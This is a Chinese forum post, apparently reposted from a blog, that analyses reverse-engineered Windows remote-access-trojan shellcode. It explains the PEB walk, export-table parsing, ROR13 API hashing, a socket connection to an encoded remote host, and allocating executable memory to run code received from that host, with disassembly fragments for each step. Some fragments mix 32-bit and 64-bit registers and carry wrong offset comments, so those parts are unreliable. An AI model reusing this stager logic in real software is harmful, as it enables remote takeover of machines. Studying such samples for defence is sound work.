首页
社区
课程
招聘
[分享]Shellcode 基础结构与自举流程分析:以 Windows 远控木马为例
发表于: 2026-8-21 17:35 192

[分享]Shellcode 基础结构与自举流程分析:以 Windows 远控木马为例

2026-8-21 17:35
192

Shellcode 是恶意软件的核心组件,尤其在远控木马和后门程序中,承担着建立控制通道、执行远程指令的关键任务。


在开始分析结构之前,先明确 shellcode 的定义:一段独立、位置无关的原始机器码,用于在目标进程的内存空间中直接执行特定功能。


这个定义可以拆成三层来理解:


· 独立、位置无关:这是核心特性。意味着 shellcode 是一个不依赖外部加载器的完整程序,加载到内存中任意位置都能正常运行。

· 原始机器码:这是本质。shellcode 不是 C 语言或其他高级语言写出来的,而是由汇编直接编译生成的二进制指令,CPU 可以直接执行。

· 在目标进程内存空间中执行特定功能:这是最终目标。通过进程注入等方式,shellcode 在目标进程内运行,根据其代码逻辑完成预设的攻击任务。


接下来,看 Windows 远控后门类 shellcode 的典型执行流程。这是一条精密的调用链:


```

取 PEB → 定位 kernel32 → 解析导出表 → ROR13 匹配 → 申请空间 → 建立通讯 → 执行远程命令

```


这条链与 shellcode 的“独立性”紧密对应。


取 PEB 与定位 kernel32,是 shellcode 实现自举的第一步。PEB(进程环境块)中保存了当前进程已加载模块的链表,kernel32.dll 就在其中。shellcode 通过遍历这个链表来定位 kernel32 的基址——为什么要找 kernel32?因为它是调用 Windows 系统函数的核心枢纽,有了它,shellcode 才能拥有后续的一切能力。


解析导出表与 ROR13 匹配,是在 kernel32 里找函数地址。导出表是 DLL 对外提供函数的目录,shellcode 通过 ROR13 哈希算法对函数名进行哈希,与导出表中函数名逐一匹配,从而找到 VirtualAlloc、LoadLibrary、WinExec 等关键 API 的实际内存地址。ROR13 因其计算简单、碰撞率低,成为 Windows shellcode 中最常用的哈希算法之一。


最后两步,建立通讯并执行远程命令,就是后门 shellcode 的特定功能了。至此,一条完整的攻击链闭环。


下面,我们用实际逆向出的代码片段,来对应讲解每一步的具体操作。


1. 获取 PEB


```asm

mov     ebp, esp

xor     edx, edx

mov     edx, fs:[rdx+30h]    ; EDX = PEB

mov     edx, [rdx+0Ch]       ; EDX = PEB.Ldr

mov     edx, [rdx+14h]       ; EDX = 模块链表头 (InMemoryOrderModuleList)


loc_15:

mov     esi, [rdx+28h]       ; ESI = 当前模块基址 (DllBase)

movzx   ecx, word ptr [rdx+26h] ; ECX = 模块名称长度

xor     edi, edi             ; 清零 EDI,准备计算模块名的哈希

```


这段代码通过 gs:[0x60](64位下为 gs,上文为32位风格,此处以64位示意)获取 PEB 地址,再通过 PEB.Ldr 定位到加载模块链表,开始遍历。gs 段寄存器指向线程环境块(TEB ),这是 Windows 内核为用户态线程维护的数据结构,而 TEB 偏移 0x60 处正是 PEB 指针。


2. 解析导出表


```asm

push    rdx                 ; 保存当前模块的 LDR_DATA_TABLE_ENTRY 地址

mov     edx, [rdx+10h]      ; 取当前模块的基址 (ImageBase)

push    rdi                 ; 保存当前模块名的哈希值


mov     eax, [edx+3Ch]      ; 取 DOS 头中的 e_lfanew

add     eax, edx            ; 定位到 NT 头

mov     eax, [eax+78h]      ; 取导出表 RVA

test     eax, eax

jz      short loc_8C        ; 无导出表则跳过

add     eax, edx            ; 导出表 VA

```


定位到 kernel32 后,这段代码从 PE 结构的 DOS 头出发,通过 e_lfanew 找到 NT 头,再从 NT 头可选头中取出导出表的数据目录项,最终得到导出表的虚拟地址。test eax, eax 之后紧跟 jz 跳转,是一个防御性判断——如果模块没有导出表就跳过,避免崩溃。


3. 调用环境与申请空间


```asm

pop     rbp                 ; 从栈上取出一个函数指针(之前通过哈希匹配获取的 API 地址)

push    3233h               ; 压入一个常量

push    5F327377h           ; 压入另一个常量

push    rsp

push    726774Ch            ; 压入第三个常量

mov     eax, ebp            ; 准备调用 API

call    rax                 ; 调用动态 API(可能是 LoadLibraryA 或 GetProcAddress)

mov     eax, 190h           ; 分配 400 字节的栈空间

sub     esp, eax            ; 栈上预留 0x190 字节空间

```


这里,shellcode 将之前通过 ROR13 匹配到的函数地址从栈中弹出(这些地址是在遍历导出表时保存的),然后压入参数并调用。压入的常量很可能是字符串的片段或哈希值,用于加载额外模块或获取新函数。最后在栈上申请了 0x190 字节的临时空间,用于后续操作。


4. 建立通讯


```asm

loc_BC:

push    0FFFFFFFF812CA8C0h  ; 可能是加密 的常量

push    0FFFFFFFFB3150002h

mov     esi, esp            ; 保存当前栈指针

push    rax                 ; 重复压入参数

...

push    0FFFFFFFFE0DF0FEAh

call    rbp                 ; 调用动态 API(很可能是 socket 或 connect)

xchg    eax, edi            ; 将返回值(socket 句柄)保存到 edi

```


压入的常量为负数,很可能是 IP 地址和端口的加密表示。shellcode 调用动态解析出的 socket 相关 API,建立一个到远程控制端的连接,并将 socket 句柄保存到 edi 中备用。


5. 接收数据并执行


```asm

mov     esi, [rsi]          ; 从接收到的数据中提取长度

push    40h                 ; 0x40 = PAGE_EXECUTE_READWRITE

push    1000h               ; 0x1000 = MEM_COMMIT

push    rsi                 ; 要分配的内存大小

push    0

push    0FFFFFFFFE553A458h ; 另一个常量

call    rbp                 ; 调用动态 API(VirtualAlloc)

xchg    eax, ebx            ; ebx = 分配的内存地址

push    rbx

```


这段代码是功能执行的最后一步。它从通讯管道接收数据,从中提取要执行的代码大小,然后调用 VirtualAlloc 分配一块带有执行权限的内存(PAGE_EXECUTE_READWRITE),最后将远程传来的代码复制进去执行。整个流程构成了一个完整的远程代码执行闭环。


注意:以上代码均为片段,取自实际逆向过程,仅用于讲解结构原理,并非完整可编译的 shellcode 源码。

————————————————

版权声明:本文为CSDN博主「万奈&星尘」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:b83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8U0t1#2x3o6u0Q4y4h3j5&6x3U0M7H3x3U0b7@1y4g2)9J5c8X3q4J5N6r3W2U0L8r3g2Q4x3V1k6V1k6i4c8S2K9h3I4K6i4K6u0r3x3e0j5J5y4e0V1$3y4U0M7#2



冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回